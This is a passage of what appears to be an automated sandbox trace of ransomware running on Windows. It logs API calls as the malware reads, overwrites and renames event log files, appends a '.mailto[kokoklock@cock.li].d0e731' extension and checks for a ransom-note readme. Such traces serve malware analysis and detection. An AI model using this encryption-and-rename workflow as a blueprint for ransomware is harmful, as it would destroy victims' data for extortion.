_Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.010] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.010] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.011] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.011] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433b68 [0061.011] wcscpy (in: _Dest=0x3433b68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.011] wcscat (in: _Dest=0x3433b68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.011] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433b68) returned 1 [0061.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cfb48) returned 1 [0061.011] RtlExitUserThread (Status=0x1) Thread: id = 88 os_tid = 0x2d4 [0061.005] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0061.008] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.012] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0061.012] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x782fa20 | out: lpFileSize=0x782fa20*=69632) returned 1 [0061.012] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.012] ReadFile (in: hFile=0x5c0, lpBuffer=0x782f9f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x782f9f0, lpOverlapped=0x0 | out: lpBuffer=0x782f9f4*, lpNumberOfBytesRead=0x782f9f0*=0x4, lpOverlapped=0x0) returned 1 [0061.014] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b110 [0061.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b160 [0061.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b368 [0061.014] NtQuerySystemTime (in: CurrentTime=0x782f9cc | out: CurrentTime=0x782f9cc*=132121176189144526) returned 0x0 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x50d3f4ca [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x1586e8fb [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x82e2c1a4 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x5ada1e37 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xc8e68523 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x8bb32b4c [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xa6d80d2b [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x195744f0 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x2a943032 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xc74fc22d [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xef39cf03 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x4dcd98f3 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x20b487a3 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xc0a76f8c [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x505f87b6 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x75e2d8d1 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xdd8ee023 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x2e31613b [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x9a831d4e [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x74ba12c7 [0061.014] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x86029aa [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x3b9b3f91 [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x893fab98 [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x434abbb4 [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xc4f9de91 [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x5b336057 [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xd278eef6 [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xe4be79cd [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x42e9d579 [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0xb6b177aa [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x4e6c98c5 [0061.015] RtlRandom (in: Seed=0x782f9d8 | out: Seed=0x782f9d8) returned 0x81096ef5 [0061.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.025] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.025] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4a8 [0061.025] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.025] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b110) returned 1 [0061.025] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.025] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.025] ReadFile (in: hFile=0x5c0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x782f9a4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x782f9a4*=0x4096, lpOverlapped=0x0) returned 1 [0061.026] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.026] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.026] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.026] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.026] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.027] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b430 [0061.027] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.027] WriteFile (in: hFile=0x5c0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x782f9a4, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x782f9a4*=0x4096, lpOverlapped=0x0) returned 1 [0061.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.027] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.027] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x782f9dc, lpOverlapped=0x0 | out: lpBuffer=0x347b430*, lpNumberOfBytesWritten=0x782f9dc*=0x20, lpOverlapped=0x0) returned 1 [0061.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b430) returned 1 [0061.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.027] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b4a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x782f9f0, lpOverlapped=0x0 | out: lpBuffer=0x347b4a8*, lpNumberOfBytesWritten=0x782f9f0*=0x8, lpOverlapped=0x0) returned 1 [0061.028] WriteFile (in: hFile=0x5c0, lpBuffer=0x782fa08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x782f9f0, lpOverlapped=0x0 | out: lpBuffer=0x782fa08*, lpNumberOfBytesWritten=0x782f9f0*=0x4, lpOverlapped=0x0) returned 1 [0061.028] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x782f9f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x782f9f0*=0x4, lpOverlapped=0x0) returned 1 [0061.028] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x782f9f0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x782f9f0*=0x6c, lpOverlapped=0x0) returned 1 [0061.028] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x782f9f0, lpOverlapped=0x0 | out: lpBuffer=0x347b160*, lpNumberOfBytesWritten=0x782f9f0*=0x20, lpOverlapped=0x0) returned 1 [0061.028] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x782f9f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x782f9f0*=0x4, lpOverlapped=0x0) returned 1 [0061.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b160) returned 1 [0061.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4a8) returned 1 [0061.028] CloseHandle (hObject=0x5c0) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x341e0b8 [0061.061] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" [0061.061] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.061] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.061] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.062] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.062] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.062] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.062] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cca70) returned 1 [0061.062] RtlExitUserThread (Status=0x1) Thread: id = 89 os_tid = 0x8ac [0061.063] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0061.066] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.067] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0061.067] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x78af904 | out: lpFileSize=0x78af904*=69632) returned 1 [0061.067] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.067] ReadFile (in: hFile=0x5c0, lpBuffer=0x78af8d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x78af8d4, lpOverlapped=0x0 | out: lpBuffer=0x78af8d8*, lpNumberOfBytesRead=0x78af8d4*=0x4, lpOverlapped=0x0) returned 1 [0061.068] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b430 [0061.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b188 [0061.069] NtQuerySystemTime (in: CurrentTime=0x78af8b0 | out: CurrentTime=0x78af8b0*=132121176189613974) returned 0x0 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xfa8178c4 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x2758da0b [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x6cdee222 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x2af9b5ee [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xe20cf0d1 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x6bf4183e [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xa5fab60f [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x85dbc77b [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x66bb19f2 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xd1bc81da [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xc50ae9e [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x94eee235 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x70a9ed6b [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x8d455829 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x5fb10c8f [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xab1c5ecd [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xaaae4bc6 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xef83772c [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x9c3fa064 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x354d8b1e [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x6a66a662 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x109784ee [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xebf0cc24 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x6429a177 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x8ce822e0 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xdc2681ea [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xfc90c669 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x780f15a5 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xf3a1128f [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x223affa6 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0xc3fde0c5 [0061.069] RtlRandom (in: Seed=0x78af8bc | out: Seed=0x78af8bc) returned 0x8adde4b0 [0061.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4a8 [0061.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0061.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0061.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.080] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.080] ReadFile (in: hFile=0x5c0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x78af888, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x78af888*=0x4096, lpOverlapped=0x0) returned 1 [0061.081] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0061.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b408 [0061.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b228 [0061.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b228) returned 1 [0061.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0061.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.081] WriteFile (in: hFile=0x5c0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x78af888, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x78af888*=0x4096, lpOverlapped=0x0) returned 1 [0061.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.082] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.082] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b408*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x78af8c0, lpOverlapped=0x0 | out: lpBuffer=0x347b408*, lpNumberOfBytesWritten=0x78af8c0*=0x20, lpOverlapped=0x0) returned 1 [0061.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b408) returned 1 [0061.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.082] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b4d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x78af8d4, lpOverlapped=0x0 | out: lpBuffer=0x347b4d0*, lpNumberOfBytesWritten=0x78af8d4*=0x8, lpOverlapped=0x0) returned 1 [0061.082] WriteFile (in: hFile=0x5c0, lpBuffer=0x78af8ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x78af8d4, lpOverlapped=0x0 | out: lpBuffer=0x78af8ec*, lpNumberOfBytesWritten=0x78af8d4*=0x4, lpOverlapped=0x0) returned 1 [0061.082] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x78af8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x78af8d4*=0x4, lpOverlapped=0x0) returned 1 [0061.082] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x78af8d4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x78af8d4*=0x6c, lpOverlapped=0x0) returned 1 [0061.082] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x78af8d4, lpOverlapped=0x0 | out: lpBuffer=0x347b430*, lpNumberOfBytesWritten=0x78af8d4*=0x20, lpOverlapped=0x0) returned 1 [0061.082] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x78af8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x78af8d4*=0x4, lpOverlapped=0x0) returned 1 [0061.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b430) returned 1 [0061.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4a8) returned 1 [0061.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.083] CloseHandle (hObject=0x5c0) returned 1 [0061.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x347c0f0 [0061.085] wcscpy (in: _Dest=0x347c0f0, _Source="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" [0061.086] wcscat (in: _Dest=0x347c0f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.086] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.086] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c0f0) returned 1 [0061.086] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0061.086] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.087] wcscat (in: _Dest=0x34339e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.087] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0061.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cbcf0) returned 1 [0061.087] RtlExitUserThread (Status=0x1) Thread: id = 90 os_tid 